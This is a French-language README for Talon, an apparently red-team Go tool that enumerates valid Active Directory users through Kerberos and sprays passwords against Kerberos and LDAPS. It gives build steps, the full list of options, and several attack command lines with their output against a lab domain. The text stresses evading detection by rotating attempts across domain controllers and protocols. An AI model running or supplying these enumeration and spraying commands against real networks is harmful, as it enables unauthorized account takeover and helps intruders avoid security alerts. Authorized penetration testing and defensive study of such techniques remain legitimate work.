
Un outil de devinette de mots de passe qui cible les services Kerberos et LDAP dans l'environnement Windows Active Directory.
Pour consulter la dernière version de Talon ou soumettre un problème, référez-vous à https://github.com/Tylous/Talon.
Talon est un outil conçu pour effectuer des attaques automatisées de devinettes de mots de passe tout en restant indétecté. Talon peut énumérer une liste d'utilisateurs pour identifier ceux qui sont valides, en utilisant Kerberos. Talon peut également effectuer une attaque de devinette de mot de passe contre les services Kerberos et LDAPS (LDAP Secure). Talon peut utiliser un seul contrôleur de domaine ou plusieurs pour effectuer ces attaques, en randomisant chaque tentative entre les contrôleurs de domaine et les services (LDAP ou Kerberos).
Plus d'informations sur les techniques peuvent être trouvées sur le Blog
Téléchargez la release pour votre OS depuis releases
Talon a été développé en golang.
La première étape, comme toujours, est de cloner le dépôt. Avant de compiler Talon, vous devrez installer les dépendances. Pour les installer, exécutez les commandes suivantes :
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
Ensuite, compilez-le
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
Le mode d'énumération des utilisateurs peut être exécuté avec le drapeau -E qui enverra uniquement une requête de pré-authentification TGT Kerberos au KDC cible, cependant, cette requête est envoyée avec un type de chiffrement connu comme mauvais ou non supporté. Talon analyse la réponse du KDC pour déterminer s'il répond avec KDC_ERR_ETYPE_NOSUPP, ce qui indique si un utilisateur existe, ou KDC_ERR_C_PRINCIPAL_UNKNOWN s'il n'existe pas. Talon peut effectuer ce type d'énumération contre plusieurs contrôleurs de domaine dans une entreprise en utilisant la commande -Hostfile pour spécifier plusieurs contrôleurs de domaine, ou un seul contrôleur de domaine avec -H. L'utilisation de cette technique ne provoquera aucun échec de connexion, donc elle ne verrouillera aucun des utilisateurs.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = User Does Not Exist
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = User Does Not Exist
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = User Does Not Exist
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = User Does Not Exist
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = User's Account Locked
Talon utilise Kerberos et LDAP, qui sont tous deux intégrés dans Active Directory pour l'authentification. Talon peut effectuer des devinettes de mots de passe en alternant entre les deux services, permettant de répartir le trafic d'attaque de mot de passe sur deux protocoles. Cela divise le nombre d'événements potentiels générés, réduisant ainsi les chances d'une alerte. Talon va plus loin en distribuant une attaque de mot de passe contre plusieurs contrôleurs de domaine dans une entreprise à l'aide de -Hostfile, en alternant entre LDAP et Kerberos à chaque fois pour créer une couche supplémentaire d'obscurité. Un seul contrôleur de domaine peut être fourni à l'aide de la commande -H si nécessaire.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed
Talon est conçu pour être polyvalent dans toute situation. Ainsi, si seul Kerberos est disponible, Talon peut être configuré pour attaquer uniquement contre Kerberos en utilisant le drapeau -K ou uniquement LDAP avec le drapeau -L.
Talon peut utiliser à la fois Kerberos et LDAP pour lire les réponses lors d'une attaque de devinette de mot de passe. Talon peut détecter les verrouillages de comptes pendant une attaque active en lisant le code de réponse de chaque tentative de mot de passe. Cela peut aider à prévenir tout verrouillage de compte non souhaité dans une entreprise, vous aidant à rester indétecté. Suivez simplement l'invite pour quitter ou continuer l'attaque.
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
Talon est équipé pour détecter si les contrôleurs de domaine ciblés sont actifs ou deviennent indisponibles. Cela permet de garantir que vous obtenez des résultats précis sans perdre de temps.
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:
Talon a la capacité d'effectuer des devinettes de mots de passe à partir d'une liste de mots de passe possibles dans un fichier en utilisant (-Passfile). Comme cela peut être TRÈS DANGEREUX, Talon dispose de contrôles pour faire une pause après un certain nombre de tentatives (-A) pendant une durée spécifiée (-Lockout). Veuillez noter qu'il est important de connaître la politique de mots de passe avant d'utiliser ces options, car l'enchaînement de plusieurs tentatives de mot de passe peut verrouiller des comptes si vous ne connaissez pas la politique de mots de passe.
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y
03-10-2022 15:58:21: Using password: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed
Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35